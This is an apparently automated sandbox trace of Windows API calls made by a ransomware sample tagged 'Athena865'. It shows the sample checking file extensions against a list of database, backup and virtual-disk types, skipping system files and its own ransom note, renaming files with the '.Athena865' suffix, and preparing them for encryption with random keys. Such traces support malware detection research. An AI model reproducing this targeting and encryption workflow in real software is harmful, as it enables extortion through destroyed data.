[0060.942] lstrlenW (lpString="rsd") returned 3 [0060.942] lstrcmpiW (lpString1="cab", lpString2="rsd") returned -1 [0060.942] lstrlenW (lpString="sas7bdat") returned 8 [0060.942] lstrcmpiW (lpString1="PrWW.cab", lpString2="sas7bdat") returned -1 [0060.943] lstrlenW (lpString="sbf") returned 3 [0060.943] lstrcmpiW (lpString1="cab", lpString2="sbf") returned -1 [0060.943] lstrlenW (lpString="scx") returned 3 [0060.943] lstrcmpiW (lpString1="cab", lpString2="scx") returned -1 [0060.943] lstrlenW (lpString="sdb") returned 3 [0060.943] lstrcmpiW (lpString1="cab", lpString2="sdb") returned -1 [0060.943] lstrlenW (lpString="sdc") returned 3 [0060.943] lstrcmpiW (lpString1="cab", lpString2="sdc") returned -1 [0060.943] lstrlenW (lpString="sdf") returned 3 [0060.943] lstrcmpiW (lpString1="cab", lpString2="sdf") returned -1 [0060.943] lstrlenW (lpString="sis") returned 3 [0060.943] lstrcmpiW (lpString1="cab", lpString2="sis") returned -1 [0060.943] lstrlenW (lpString="spq") returned 3 [0060.943] lstrcmpiW (lpString1="cab", lpString2="spq") returned -1 [0060.943] lstrlenW (lpString="te") returned 2 [0060.943] lstrcmpiW (lpString1="ab", lpString2="te") returned -1 [0060.943] lstrlenW (lpString="teacher") returned 7 [0060.943] lstrcmpiW (lpString1="rWW.cab", lpString2="teacher") returned -1 [0060.943] lstrlenW (lpString="tmd") returned 3 [0060.943] lstrcmpiW (lpString1="cab", lpString2="tmd") returned -1 [0060.943] lstrlenW (lpString="tps") returned 3 [0060.943] lstrcmpiW (lpString1="cab", lpString2="tps") returned -1 [0060.943] lstrlenW (lpString="trc") returned 3 [0060.943] lstrcmpiW (lpString1="cab", lpString2="trc") returned -1 [0060.943] lstrlenW (lpString="trc") returned 3 [0060.943] lstrcmpiW (lpString1="cab", lpString2="trc") returned -1 [0060.943] lstrlenW (lpString="trm") returned 3 [0060.943] lstrcmpiW (lpString1="cab", lpString2="trm") returned -1 [0060.943] lstrlenW (lpString="udb") returned 3 [0060.943] lstrcmpiW (lpString1="cab", lpString2="udb") returned -1 [0060.943] lstrlenW (lpString="udl") returned 3 [0060.943] lstrcmpiW (lpString1="cab", lpString2="udl") returned -1 [0060.943] lstrlenW (lpString="usr") returned 3 [0060.944] lstrcmpiW (lpString1="cab", lpString2="usr") returned -1 [0060.944] lstrlenW (lpString="v12") returned 3 [0060.944] lstrcmpiW (lpString1="cab", lpString2="v12") returned -1 [0060.944] lstrlenW (lpString="vis") returned 3 [0060.944] lstrcmpiW (lpString1="cab", lpString2="vis") returned -1 [0060.944] lstrlenW (lpString="vpd") returned 3 [0060.944] lstrcmpiW (lpString1="cab", lpString2="vpd") returned -1 [0060.944] lstrlenW (lpString="vvv") returned 3 [0060.944] lstrcmpiW (lpString1="cab", lpString2="vvv") returned -1 [0060.944] lstrlenW (lpString="wdb") returned 3 [0060.944] lstrcmpiW (lpString1="cab", lpString2="wdb") returned -1 [0060.944] lstrlenW (lpString="wmdb") returned 4 [0060.944] lstrcmpiW (lpString1=".cab", lpString2="wmdb") returned -1 [0060.944] lstrlenW (lpString="wrk") returned 3 [0060.944] lstrcmpiW (lpString1="cab", lpString2="wrk") returned -1 [0060.944] lstrlenW (lpString="xdb") returned 3 [0060.944] lstrcmpiW (lpString1="cab", lpString2="xdb") returned -1 [0060.944] lstrlenW (lpString="xld") returned 3 [0060.944] lstrcmpiW (lpString1="cab", lpString2="xld") returned -1 [0060.944] lstrlenW (lpString="xmlff") returned 5 [0060.944] lstrcmpiW (lpString1="W.cab", lpString2="xmlff") returned -1 [0060.944] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab.Athena865") returned 84 [0060.944] MoveFileExW (lpExistingFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proprww.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab.Athena865" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proprww.cab.athena865"), dwFlags=0x1) returned 1 [0060.945] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0011-0000-1000-0000000FF1CE}-C\\ProPrWW.cab.Athena865" (normalized: "c:\\msocache\\all users\\{91140000-0011-0000-1000-0000000ff1ce}-c\\proprww.cab.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0060.945] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=177720283) returned 1 [0060.946] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0060.946] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52de58 [0060.946] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519090 [0060.946] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519008) returned 1 [0060.947] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0060.947] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0060.947] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xa97cee0, lpName=0x0) returned 0x17c [0060.948] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0xa800000, dwNumberOfBytesToMap=0x17cee0) returned 0x2d50000 [0061.033] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x200000) returned 0x3000000 [0061.114] UnmapViewOfFile (lpBaseAddress=0x3000000) returned 1 [0061.137] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519008) returned 1 [0061.137] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0061.137] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0061.137] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52ded0 [0061.137] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ded0 | out: hHeap=0x4f0000) returned 1 [0061.138] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52b3b0 [0061.138] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0061.138] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b3b0 | out: hHeap=0x4f0000) returned 1 [0061.138] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0061.138] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52b3b0 [0061.138] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0061.138] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52b3b0 | out: hHeap=0x4f0000) returned 1 [0061.138] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0061.138] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0061.151] CloseHandle (hObject=0x17c) returned 1 [0061.151] CloseHandle (hObject=0x154) returned 1 [0061.152] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52de58 | out: hHeap=0x4f0000) returned 1 [0061.152] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519090 | out: hHeap=0x4f0000) returned 1 [0061.152] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0061.160] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbf14900, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0xbf14900, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xc96ff40, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0xd49ee31, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ProPrWW2.cab", cAlternateFileName="")) returned 1 [0061.160] lstrcmpiW (lpString1="ProPrWW2.cab", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0061.160] lstrcmpiW (lpString1="ProPrWW2.cab", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0061.161] lstrcmpiW (lpString1="ProPrWW2.cab", lpString2=".") returned 1 [0061.161] lstrcmpiW (lpString1="ProPrWW2.cab", lpString2="..") returned 1 [0061.161] lstrcmpiW (lpString1="ProPrWW2.cab", lpString2="windows") returned -1 [0061.161] lstrcmpiW (lpString1="ProPrWW2.cab", lpString2="bootmgr") returned 1 [0061.161] lstrcmpiW (lpString1="ProPrWW2.cab", lpString2="temp") returned -1 [0061.161] lstrcmpiW (lpString1="ProPrWW2.cab", lpString2="pagefile.sys") returned 1 [0061.161] lstrcmpiW (lpString1="ProPrWW2.cab", lpString2="boot") returned 1 [0061.161] lstrcmpiW (lpString1="ProPrWW2.cab", lpString2="ids.txt") returned 1 [0061.161] lstrcmpiW (lpString1="ProPrWW2.cab", lpString2="ntuser.dat") returned 1 [0061.161] lstrcmpiW (lpString1="ProPrWW2.cab", lpString2="perflogs") returned 1 [0061.161] lstrcmpiW (lpString1="ProPrWW2.cab", lpString2="MSBuild") returned 1 [0061.161] lstrlenW (lpString="ProPrWW2.cab") returned 12 [0061.161] lstrcpyW (in: lpString1=0x241e8c6, lpString2="ProPrWW2.cab" | out: lpString1="ProPrWW2.cab") returned="ProPrWW2.cab" [0061.161] lstrlenW (lpString="ProPrWW2.cab") returned 12 [0061.161] lstrlenW (lpString="Athena865") returned 9 [0061.161] lstrcmpiW (lpString1="PrWW2.cab", lpString2="Athena865") returned 1 [0061.161] lstrlenW (lpString=".dll") returned 4 [0061.161] lstrcmpiW (lpString1="ProPrWW2.cab", lpString2=".dll") returned 1 [0061.161] lstrlenW (lpString=".lnk") returned 4 [0061.161] lstrcmpiW (lpString1="ProPrWW2.cab", lpString2=".lnk") returned 1 [0061.161] lstrlenW (lpString=".ini") returned 4 [0061.161] lstrcmpiW (lpString1="ProPrWW2.cab", lpString2=".ini") returned 1 [0061.161] lstrlenW (lpString=".sys") returned 4 [0061.161] lstrcmpiW (lpString1="ProPrWW2.cab", lpString2=".sys") returned 1 [0061.161] lstrlenW (lpString="ProPrWW2.cab") returned 12 [0061.161] lstrlenW (lpString="bak") returned 3 [0061.161] lstrcmpiW (lpString1="cab", lpString2="bak") returned 1 [0061.161] lstrlenW (lpString="ba_") returned 3 [0061.161] lstrcmpiW (lpString1="cab", lpString2="ba_") returned 1 [0061.161] lstrlenW (lpString="dbb") returned 3 [0061.161] lstrcmpiW (lpString1="cab", lpString2="dbb") returned -1 [0061.161] lstrlenW (lpString="vmdk") returned 4 [0061.161] lstrcmpiW (lpString1=".cab", lpString2="vmdk") returned -1 [0061.162] lstrlenW (lpString="rar") returned 3 [0061.162] lstrcmpiW (lpString1="cab", lpString2="rar") returned -1 [0061.162] lstrlenW (lpString="zip") returned 3 [0061.162] lstrcmpiW (lpString1="cab", lpString2="zip") returned -1 [0061.162] lstrlenW (lpString="tgz") returned 3 [0061.162] lstrcmpiW (lpString1="cab", lpString2="tgz") returned -1 [0061.162] lstrlenW (lpString="vbox") returned 4 [0061.162] lstrcmpiW (lpString1=".cab", lpString2="vbox") returned -1 [0061.162] lstrlenW (lpString="vdi") returned 3 [0061.162] lstrcmpiW (lpString1="cab", lpString2="vdi") returned -1 [0061.162] lstrlenW (lpString="vhd") returned 3 [0061.162] lstrcmpiW (lpString1="cab", lpString2="vhd") returned -1 [0061.162] lstrlenW (lpString="vhdx") returned 4 [0061.162] lstrcmpiW (lpString1=".cab", lpString2="vhdx") returned -1 [0061.162] lstrlenW (lpString="avhd") returned 4 [0061.162] lstrcmpiW (lpString1=".cab", lpString2="avhd") returned -1 [0061.162] lstrlenW (lpString="db") returned 2 [0061.162] lstrcmpiW (lpString1="ab", lpString2="db") returned -1 [0061.162] lstrlenW (lpString="db2") returned 3 [0061.162] lstrcmpiW (lpString1="cab", lpString2="db2") returned -1 [0061.162] lstrlenW (lpString="db3") returned 3 [0061.162] lstrcmpiW (lpString1="cab", lpString2="db3") returned -1 [0061.162] lstrlenW (lpString="dbf") returned 3 [0061.162] lstrcmpiW (lpString1="cab", lpString2="dbf") returned -1 [0061.162] lstrlenW (lpString="mdf") returned 3 [0061.162] lstrcmpiW (lpString1="cab", lpString2="mdf") returned -1 [0061.162] lstrlenW (lpString="mdb") returned 3 [0061.162] lstrcmpiW (lpString1="cab", lpString2="mdb") returned -1 [0061.162] lstrlenW (lpString="sql") returned 3 [0061.162] lstrcmpiW (lpString1="cab", lpString2="sql") returned -1 [0061.162] lstrlenW (lpString="sqlite") returned 6 [0061.162] lstrcmpiW (lpString1="W2.cab", lpString2="sqlite") returned 1 [0061.162] lstrlenW (lpString="sqlite3") returned 7 [0061.162] lstrcmpiW (lpString1="WW2.cab", lpString2="sqlite3") returned 1 [0061.163] lstrlenW (lpString="sqlitedb") returned 8 [0061.163] lstrcmpiW (lpString1="rWW2.cab", lpString2="sqlitedb") returned -1 [0061.163] lstrlenW (lpString="xml") returned 3 [0061.163] lstrcmpiW (lpString1="cab", lpString2="xml") returned -1 [0061.163] lstrlenW (lpString="$er") returned 3 [0061.163] lstrcmpiW (lpString1="cab", lpString2="$er") returned 1 [0061.163] lstrlenW (lpString="4dd") returned 3 [0061.163] lstrcmpiW (lpString1="cab", lpString2="4dd") returned 1 [0061.163] lstrlenW (lpString="4dl") returned 3 [0061.163] lstrcmpiW (lpString1="cab", lpString2="4dl") returned 1 [0061.163] lstrlenW (lpString="^^^") returned 3 [0061.163] lstrcmpiW (lpString1="cab", lpString2="^^^") returned 1 [0061.163] lstrlenW (lpString="abs") returned 3 [0061.163] lstrcmpiW (lpString1="cab", lpString2="abs") returned 1 [0061.163] lstrlenW (lpString="abx") returned 3 [0061.163] lstrcmpiW (lpString1="cab", lpString2="abx") returned 1 [0061.163] lstrlenW (lpString="accdb") returned 5 [0061.163] lstrcmpiW (lpString1="2.cab", lpString2="accdb") returned -1 [0061.163] lstrlenW (lpString="accdc") returned 5 [0061.163] lstrcmpiW (lpString1="2.cab", lpString2="accdc") returned -1 [0061.163] lstrlenW (lpString="accde") returned 5 [0061.163] lstrcmpiW (lpString1="2.cab", lpString2="accde") returned -1 [0061.163] lstrlenW (lpString="accdr") returned 5 [0061.163] lstrcmpiW (lpString1="2.cab", lpString2="accdr") returned -1 [0061.163] lstrlenW (lpString="accdt") returned 5 [0061.163] lstrcmpiW (lpString1="2.cab", lpString2="accdt") returned -1 [0061.163] lstrlenW (lpString="accdw") returned 5 [0061.163] lstrcmpiW (lpString1="2.cab", lpString2="accdw") returned -1 [0061.163] lstrlenW (lpString="accft") returned 5 [0061.163] lstrcmpiW (lpString1="2.cab", lpString2="accft") returned -1 [0061.163] lstrlenW (lpString="adb") returned 3 [0061.163] lstrcmpiW (lpString1="cab", lpString2="adb") returned 1 [0061.163] lstrlenW (lpString="adb") returned 3 [0061.164] lstrcmpiW (lpString1="cab", lpString2="adb") returned 1 [0061.164] lstrlenW (lpString="ade") returned 3 [0061.164] lstrcmpiW (lpString1="cab", lpString2="ade") returned 1 [0061.164] lstrlenW (lpString="adf") returned 3 [0061.164] lstrcmpiW (lpString1="cab", lpString2="adf") returned 1 [0061.164] lstrlenW (lpString="adn") returned 3 [0061.164] lstrcmpiW (lpString1="cab", lpString2="adn") returned 1 [0061.164] lstrlenW (lpString="adp") returned 3 [0061.164] lstrcmpiW (lpString1="cab", lpString2="adp") returned 1 [0061.164] lstrlenW (lpString="alf") returned 3 [0061.164] lstrcmpiW (lpString1="cab", lpString2="alf") returned 1 [0061.164] lstrlenW (lpString="ask") returned 3 [0061.164] lstrcmpiW (lpString1="cab", lpString2="ask") returned 1 [0061.164] lstrlenW (lpString="btr") returned 3 [0061.164] lstrcmpiW (lpString1="cab", lpString2="btr") returned 1 [0061.164] lstrlenW (lpString="cat") returned 3 [0061.164] lstrcmpiW (lpString1="cab", lpString2="cat") returned -1 [0061.164] lstrlenW (lpString="cdb") returned 3 [0061.164] lstrcmpiW (lpString1="cab", lpString2="cdb") returned -1 [0061.164] lstrlenW (lpString="ckp") returned 3 [0061.164] lstrcmpiW (lpString1="cab", lpString2="ckp") returned -1 [0061.164] lstrlenW (lpString="cma") returned 3 [0061.164] lstrcmpiW (lpString1="cab", lpString2="cma") returned -1 [0061.164] lstrlenW (lpString="cpd") returned 3 [0061.164] lstrcmpiW (lpString1="cab", lpString2="cpd") returned -1 [0061.164] lstrlenW (lpString="dacpac") returned 6 [0061.164] lstrcmpiW (lpString1="W2.cab", lpString2="dacpac") returned 1 [0061.164] lstrlenW (lpString="dad") returned 3 [0061.164] lstrcmpiW (lpString1="cab", lpString2="dad") returned -1 [0061.164] lstrlenW (lpString="dadiagrams") returned 10 [0061.164] lstrcmpiW (lpString1="oPrWW2.cab", lpString2="dadiagrams") returned 1 [0061.164] lstrlenW (lpString="daschema") returned 8 [0061.164] lstrcmpiW (lpString1="rWW2.cab", lpString2="daschema") returned 1 [0061.164] lstrlenW (lpString="db-journal") returned 10 [0061.165] lstrcmpiW (lpString1="oPrWW2.cab", lpString2="db-journal") returned 1 [0061.165] lstrlenW (lpString="db-shm") returned 6 [0061.165] lstrcmpiW (lpString1="W2.cab", lpString2="db-shm") returned 1 [0061.165] lstrlenW (lpString="db-wal") returned 6 [0061.165] lstrcmpiW (lpString1="W2.cab", lpString2="db-wal") returned 1 [0061.165] lstrlenW (lpString="dbc") returned 3 [0061.165] lstrcmpiW (lpString1="cab", lpString2="dbc") returned -1 [0061.165] lstrlenW (lpString="dbs") returned 3 [0061.165] lstrcmpiW (lpString1="cab", lpString2="dbs") returned -1 [0061.165] lstrlenW (lpString="dbt") returned 3 [0061.165] lstrcmpiW (lpString1="cab", lpString2="dbt") returned -1 [0061.165] lstrlenW (lpString="dbv") returned 3 [0061.165] lstrcmpiW (lpString1="cab", lpString2="dbv") returned -1 [0061.165] lstrlenW (lpString="dbx") returned 3 [0061.165] lstrcmpiW (lpString1="cab", lpString2="dbx") returned -1 [0061.165] lstrlenW (lpString="dcb") returned 3 [0061.165] lstrcmpiW (lpString1="cab", lpString2="dcb") returned -1 [0061.165] lstrlenW (lpString="dct") returned 3 [0061.165] lstrcmpiW (lpString1="cab", lpString2="dct") returned -1 [0061.165] lstrlenW (lpString="dcx") returned 3 [0061.165] lstrcmpiW (lpString1="cab", lpString2="dcx") returned -1 [0061.165] lstrlenW (lpString="ddl") returned 3 [0061.165] lstrcmpiW (lpString1="cab", lpString2="ddl") returned -1 [0061.165] lstrlenW (lpString="dlis") returned 4 [0061.165] lstrcmpiW (lpString1=".cab", lpString2="dlis") returned -1 [0061.165] lstrlenW (lpString="dp1") returned 3 [0061.165] lstrcmpiW (lpString1="cab", lpString2="dp1") returned -1 [0061.165] lstrlenW (lpString="dqy") returned 3 [0061.165] lstrcmpiW (lpString1="cab", lpString2="dqy") returned -1 [0061.165] lstrlenW (lpString="dsk") returned 3 [0061.165] lstrcmpiW (lpString1="cab", lpString2="dsk") returned -1 [0061.165] lstrlenW (lpString="dsn") returned 3 [0061.165] lstrcmpiW (lpString1="cab", lpString2="dsn") returned -1 [0061.166] lstrlenW (lpString="dtsx") returned 4 [0061.166] lstrcmpiW (lpString1=".cab", lpString2="dtsx") returned -1 [0061.166] lstrlenW (lpString="dxl") returned 3 [0061.166] lstrcmpiW (lpString1="cab", lpString2="dxl") returned -1 [0061.166] lstrlenW (lpString="eco") returned 3 [0061.166] lstrcmpiW (lpString1="cab", lpString2="eco") returned -1 [0061.166] lstrlenW (lpString="ecx") returned 3 [0061.166] lstrcmpiW (lpString1="cab", lpString2="ecx") returned -1 [0061.166] lstrlenW (lpString="edb") returned 3 [0061.166] lstrcmpiW (lpString1="cab", lpString2="edb") returned -1 [0061.166] lstrlenW (lpString="epim") returned 4 [0061.166] lstrcmpiW (lpString1=".cab", lpString2="epim") returned -1 [0061.166] lstrlenW (lpString="fcd") returned 3 [0061.166] lstrcmpiW (lpString1="cab", lpString2="fcd") returned -1 [0061.166] lstrlenW (lpString="fdb") returned 3 [0061.166] lstrcmpiW (lpString1="cab", lpString2="fdb") returned -1 [0061.166] lstrlenW (lpString="fic") returned 3 [0061.166] lstrcmpiW (lpString1="cab", lpString2="fic") returned -1 [0061.166] lstrlenW (lpString="flexolibrary") returned 12 [0061.166] lstrlenW (lpString="fm5") returned 3 [0061.166] lstrcmpiW (lpString1="cab", lpString2="fm5") returned -1 [0061.166] lstrlenW (lpString="fmp") returned 3 [0061.166] lstrcmpiW (lpString1="cab", lpString2="fmp") returned -1 [0061.166] lstrlenW (lpString="fmp12") returned 5 [0061.166] lstrcmpiW (lpString1="2.cab", lpString2="fmp12") returned -1 [0061.166] lstrlenW (lpString="fmpsl") returned 5 [0061.166] lstrcmpiW (lpString1="2.cab", lpString2="fmpsl") returned -1 [0061.166] lstrlenW (lpString="fol") returned 3 [0061.166] lstrcmpiW (lpString1="cab", lpString2="fol") returned -1 [0061.166] lstrlenW (lpString="fp3") returned 3 [0061.166] lstrcmpiW (lpString1="cab", lpString2="fp3") returned -1 [0061.166] lstrlenW (lpString="fp4") returned 3 [0061.166] lstrcmpiW (lpString1="cab", lpString2="fp4") returned -1 [0061.166] lstrlenW (lpString="fp5") returned 3 [0061.167] lstrcmpiW (lpString1="cab", lpString2="fp5") returned -1 [0061.167] lstrlenW (lpString="fp7") returned 3 [0061.167] lstrcmpiW (lpString1="cab", lpString2="fp7") returned -1 [0061.167] lstrlenW (lpString="fpt") returned 3 [0061.167] lstrcmpiW (lpString1="cab", lpString2="fpt") returned -1 [0061.167] lstrlenW (lpString="frm") returned 3 [0061.167] lstrcmpiW (lpString1="cab", lpString2="frm") returned -1 [0061.167] lstrlenW (lpString="gdb") returned 3 [0061.167] lstrcmpiW (lpString1="cab", lpString2="gdb") returned -1 [0061.167] lstrlenW (lpString="gdb") returned 3 [0061.167] lstrcmpiW (lpString1="cab", lpString2="gdb") returned -1 [0061.167] lstrlenW (lpString="grdb") returned 4 [0061.167] lstrcmpiW (lpString1=".cab", lpString2="grdb") returned -1 [0061.167] lstrlenW (lpString="gwi") returned 3 [0061.167] lstrcmpiW (lpString1="cab", lpString2="gwi") returned -1 [0061.167] lstrlenW (lpString="hdb") returned 3 [0061.167] lstrcmpiW (lpString1="cab", lpString2="hdb") returned -1 [0061.167] lstrlenW (lpString="his") returned 3 [0061.167] lstrcmpiW (lpString1="cab", lpString2="his") returned -1 [0061.167] lstrlenW (lpString="ib") returned 2 [0061.167] lstrcmpiW (lpString1="ab", lpString2="ib") returned -1 [0061.167] lstrlenW (lpString="idb") returned 3 [0061.167] lstrcmpiW (lpString1="cab", lpString2="idb") returned -1 [0061.167] lstrlenW (lpString="ihx") returned 3 [0061.167] lstrcmpiW (lpString1="cab", lpString2="ihx") returned -1 [0061.167] lstrlenW (lpString="itdb") returned 4 [0061.167] lstrcmpiW (lpString1=".cab", lpString2="itdb") returned -1 [0061.167] lstrlenW (lpString="itw") returned 3 [0061.167] lstrcmpiW (lpString1="cab", lpString2="itw") returned -1 [0061.167] lstrlenW (lpString="jet") returned 3 [0061.167] lstrcmpiW (lpString1="cab", lpString2="jet") returned -1 [0061.167] lstrlenW (lpString="jtx") returned 3 [0061.167] lstrcmpiW (lpString1="cab", lpString2="jtx") returned -1 [0061.168] lstrlenW (lpString="kdb") returned 3 [0061.168] lstrcmpiW (lpString1="cab", lpString2="kdb") returned -1 [0061.168] lstrlenW (lpString="kexi") returned 4 [0061.168] lstrcmpiW (lpString1=".cab", lpString2="kexi") returned -1 [0061.168] lstrlenW (lpString="kexic") returned 5 [0061.168] lstrcmpiW (lpString1="2.cab", lpString2="kexic") returned -1 [0061.168] lstrlenW (lpString="kexis") returned 5 [0061.168] lstrcmpiW (lpString1="2.cab", lpString2="kexis") returned -1 [0061.168] lstrlenW (lpString="lgc") returned 3 [0061.168] lstrcmpiW (lpString1="cab", lpString2="lgc") returned -1 [0061.168] lstrlenW (lpString="lwx") returned 3 [0061.168] lstrcmpiW (lpString1="cab", lpString2="lwx") returned -1 [0061.168] lstrlenW (lpString="maf") returned 3 [0061.168] lstrcmpiW (lpString1="cab", lpString2="maf") returned -1 [0061.168] lstrlenW (lpString="maq") returned 3 [0061.168] lstrcmpiW (lpString1="cab", lpString2="maq") returned -1 [0061.168] lstrlenW (lpString="mar") returned 3 [0061.168] lstrcmpiW (lpString1="cab", lpString2="mar") returned -1 [0061.168] lstrlenW (lpString="marshal") returned 7 [0061.168] lstrcmpiW (lpString1="WW2.cab", lpString2="marshal") returned 1 [0061.168] lstrlenW (lpString="mas") returned 3 [0061.168] lstrcmpiW (lpString1="cab", lpString2="mas") returned -1 [0061.168] lstrlenW (lpString="mav") returned 3 [0061.168] lstrcmpiW (lpString1="cab", lpString2="mav") returned -1 [0061.168] lstrlenW (lpString="maw") returned 3 [0061.168] lstrcmpiW (lpString1="cab", lpString2="maw") returned -1 [0061.168] lstrlenW (lpString="mdbhtml") returned 7 [0061.168] lstrcmpiW (lpString1="WW2.cab", lpString2="mdbhtml") returned 1 [0061.168] lstrlenW (lpString="mdn") returned 3 [0061.168] lstrcmpiW (lpString1="cab", lpString2="mdn") returned -1 [0061.168] lstrlenW (lpString="mdt") returned 3 [0061.168] lstrcmpiW (lpString1="cab", lpString2="mdt") returned -1 [0061.168] lstrlenW (lpString="mfd") returned 3 [0061.169] lstrcmpiW (lpString1="cab", lpString2="mfd") returned -1 [0061.169] lstrlenW (lpString="mpd") returned 3 [0061.169] lstrcmpiW (lpString1="cab", lpString2="mpd") returned -1 [0061.169] lstrlenW (lpString="mrg") returned 3 [0061.169] lstrcmpiW (lpString1="cab", lpString2="mrg") returned -1 [0061.169] lstrlenW (lpString="mud") returned 3 [0061.169] lstrcmpiW (lpString1="cab", lpString2="mud") returned -1 [0061.169] lstrlenW (lpString="mwb") returned 3 [0061.169] lstrcmpiW (lpString1="cab", lpString2="mwb") returned -1 [0061.169] lstrlenW (lpString="myd") returned 3 [0061.169] lstrcmpiW (lpString1="cab", lpString2="myd") returned -1 [0061.169] lstrlenW (lpString="ndf") returned 3 [0061.169] lstrcmpiW (lpString1="cab", lpString2="ndf") returned -1 [0061.169] lstrlenW (lpString="nnt") returned 3 [0061.169] lstrcmpiW (lpString1="cab", lpString2="nnt") returned -1 [0061.169] lstrlenW (lpString="nrmlib") returned 6 [0061.169] lstrcmpiW (lpString1="W2.cab", lpString2="nrmlib") returned 1 [0061.169] lstrlenW (lpString="ns2") returned 3 [0061.169] lstrcmpiW (lpString1="cab", lpString2="ns2") returned -1 [0061.169] lstrlenW (lpString="ns3") returned 3 [0061.169] lstrcmpiW (lpString1="cab", lpString2="ns3") returned -1 [0061.169] lstrlenW (lpString="ns4") returned 3 [0061.169] lstrcmpiW (lpString1="cab", lpString2="ns4") returned -1 [0061.169] lstrlenW (lpString="nsf") returned 3 [0061.169] lstrcmpiW (lpString1="cab", lpString2="nsf") returned -1 [0061.169] lstrlenW (lpString="nv") returned 2 [0061.169] lstrcmpiW (lpString1="ab", lpString2="nv") returned -1 [0061.169] lstrlenW (lpString="nv2") returned 3 [0061.169] lstrcmpiW (lpString1="cab", lpString2="nv2") returned -1 [0061.169] lstrlenW (lpString="nwdb") returned 4 [0061.169] lstrcmpiW (lpString1=".cab", lpString2="nwdb") returned -1 [0061.171] lstrlenW (lpString="nyf") returned 3 [0061.172] lstrcmpiW (lpString1="cab", lpString2="nyf") returned -1 [0061.172] lstrlenW (lpString="odb") returned 3 [0061.172] lstrcmpiW (lpString1="cab", lpString2="odb") returned -1 [0061.172] lstrlenW (lpString="odb") returned 3 [0061.172] lstrcmpiW (lpString1="cab", lpString2="odb") returned -1 [0061.172] lstrlenW (lpString="oqy") returned 3 [0061.172] lstrcmpiW (lpString1="cab", lpString2="oqy") returned -1 [0061.172] lstrlenW (lpString="ora") returned 3 [0061.172] lstrcmpiW (lpString1="cab", lpString2="ora") returned -1 [0061.172] lstrlenW (lpString="orx") returned 3 [0061.172] lstrcmpiW (lpString1="cab", lpString2="orx") returned -1 [0061.172] lstrlenW (lpString="owc") returned 3 [0061.173] lstrcmpiW (lpString1="cab", lpString2="owc") returned -1 [0061.173] lstrlenW (lpString="p96") returned 3 [0061.173] lstrcmpiW (lpString1="cab", lpString2="p96") returned -1 [0061.173] lstrlenW (lpString="p97") returned 3 [0061.173] lstrcmpiW (lpString1="cab", lpString2="p97") returned -1 